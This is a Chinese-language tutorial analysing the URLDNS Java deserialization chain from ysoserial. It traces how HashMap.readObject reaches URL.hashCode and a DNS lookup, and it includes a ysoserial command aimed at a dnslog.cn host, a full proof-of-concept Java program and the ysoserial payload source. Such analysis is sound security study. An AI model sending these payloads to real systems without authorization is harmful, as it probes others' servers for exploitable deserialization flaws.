URLDNS 反序列化

本文详细介绍了Java安全中的URLDNS反序列化链的原理和应用

URLDNS 简介

URLDNS 是 ysoserial 中一个利用链的名字,但准确来说,这个其实不能称作利用链。因为其参数不是⼀个可以利用的命令,而仅为⼀个 URL,其能触发的结果也不是命令执行,而是⼀次 DNS 请求,该 Payload 的目的只有一个,就是确定目标系统上是否存在可控的readObject()方法,即是否存在 Java 反序列化漏洞,该链具有以下的特点:

  • 不限制 JDK 版本,使用 Java 内置类,对第三方依赖没有要求
  • 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞
  • URLDNS 利用链,只能发起 DNS 请求,并不能进行其他利用

ysoserial:Java 反序列化工具,利用它通过指定利用链,获取恶意代码序列化之后的内容,将内容发送给目标,目标对内容发序列化进而触发恶意代码

URLDNS 利用

在 ysoserial 里的利用,先生成序列化文件out.bin

1
java -jar ysoserial.jar URLDNS "http://06vrsi.dnslog.cn" > out.bin

编写反序列化的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Main {
public static void main(String[] args) {
try {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}

运行代码后,在 DNSLog 平台就能看到解析的记录了

利用链分析

完整的 URLDNS 利用链条代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {
// 定义一个 hashMap
HashMap<URL, String> hashMap = new HashMap<>();
// 设置我们触发 dns 查询的 url
URL url = new URL("http://06vrsi.dnslog.cn");
// 下面在 put 前修改 url 的 hashcode 为非 -1 的值,put 后将 hashcode 修改为 -1
// 1.将 url 的 hashCode 字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
// 2.设置 url 的 hashCode 字段为任意不为 -1 的值
f.set(url, 111);
// 获取 hashCode 的值,验证是否修改成功
System.out.println(url.hashCode());
// 3.将 url 放入 hashMap 中,右边参数随便写
hashMap.put(url, "xxx");
// 4.修改 url 的 hashCode 字段为 -1,为了触发 DNS 查询(之后会解释)
f.set(url, -1);

// 序列化操作
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);

// 反序列化,触发 payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}

运行代码后,在http://www.dnslog.cn/页面发现触发了一次 URL 的 DNS 解析。下面来看为什么会触发这次 DNS 解析,在最后一行的ois.readObject();打上断点,然后开始调试,进入该 readObject 方法后,可以 Step in 到 HashMap 的 readObject 方法:

1
2
3
4
5
6
7
8
9
10
11
12
readObject:1377, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2345, ObjectInputStream (java.io)
readOrdinaryObject:2236, ObjectInputStream (java.io)
readObject0:1692, ObjectInputStream (java.io)
readObject:508, ObjectInputStream (java.io)
readObject:466, ObjectInputStream (java.io)
main:34, Main

方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
...
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

看最后 putVal 这一行,putVal 是往 HashMap 中放入键值对的方法,这里调用了 hash 方法来处理 key,跟进 hash 方法:

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

hash 方法调用了 key.hashCode 方法,继续跟进这里:

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

如果 hashCode 不为 -1,则直接返回该 hashcode,否则调用 URLStreamHandler(handler 是 URLStreamHandler 对象)的 hashCode 方法。继续跟进其 hashCode ⽅法:

1
2
3
4
5
6
7
8
9
10
11
12
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
...
}

可以看到 hashCode 方法中调用了 getHostAddress 方法,正是这步触发了 DNS 请求(这个方法会去获取主机的 IP 地址):

1
2
3
4
5
6
7
8
9
synchronized InetAddress getHostAddress() {
...
try {
hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException | SecurityException ex) {
return null;
}
return hostAddress;
}

到此整个 URLDNS 利用链就执行了,回过头来看看 HashMap 的 readObject 方法,会将 key、value 放入 HashMap 对象中,如果 key 的 hashCode 为 -1,则会对 key 做一次 DNS 查询操作。所以只要我们构造 HashMap 对象中,存在某个 hashCode 为 -1 的 key,则会触发 DNS 操作

那么为什么构造该对象之前,要把 key 的 hashMap 变成非 -1 的数字呢?这里可以看一下把 key 放入 hashMap 的过程,调试到 hashMap 的 put 方法:

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

可以看到也会调用hash(key)方法,此时也会判断 key 的 hashCode,如果是 -1 则会触发一次 DNS 请求,所以在 put 前,将 key 的 hashMap 置为非 -1 的数,防止触发两次 DNS 请求,混淆我们的判断

下面来看看 ysoserial 中的利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

可以看到 ysoserial 为了防止在生成 Payload 的时候也执行了 URL 请求和 DNS 查询,所以重写了⼀个 SilentURLStreamHandler 类,重写了 getHostAddress 方法,在 put 一个 URL 到 hashMap 中时,不会真正触发 DNS 查询请求

而自定义的 handler 不参与反序列化,因此会在目标机器上触发原有的getHostAddress方法(注释里有解释)


本文参考链接:

java urldns利用链分析